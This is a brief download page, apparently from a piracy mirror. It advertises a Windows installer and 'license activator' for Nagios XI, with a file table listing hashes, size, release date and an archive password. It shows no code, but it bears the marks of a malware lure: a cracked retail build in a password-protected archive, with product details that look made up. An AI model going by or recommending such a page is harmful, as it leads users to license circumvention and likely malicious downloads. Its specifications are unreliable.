Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Nagios_XI_v2.2_x64_setup.zip |
| Version | v2.2.9264 build 40897 |
| File Size | 549.10 MB |
| MD5 Hash | 54a7dc09535ac408c05aa57cdba41ba4 |
| SHA-256 | f0450925796ca2b36557d215779051ed90e627647a0fa4ef8c9045b16386a02f |
| Release Date | 2026-04-02 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | mirror2026 |
| License Type | Full / Retail |
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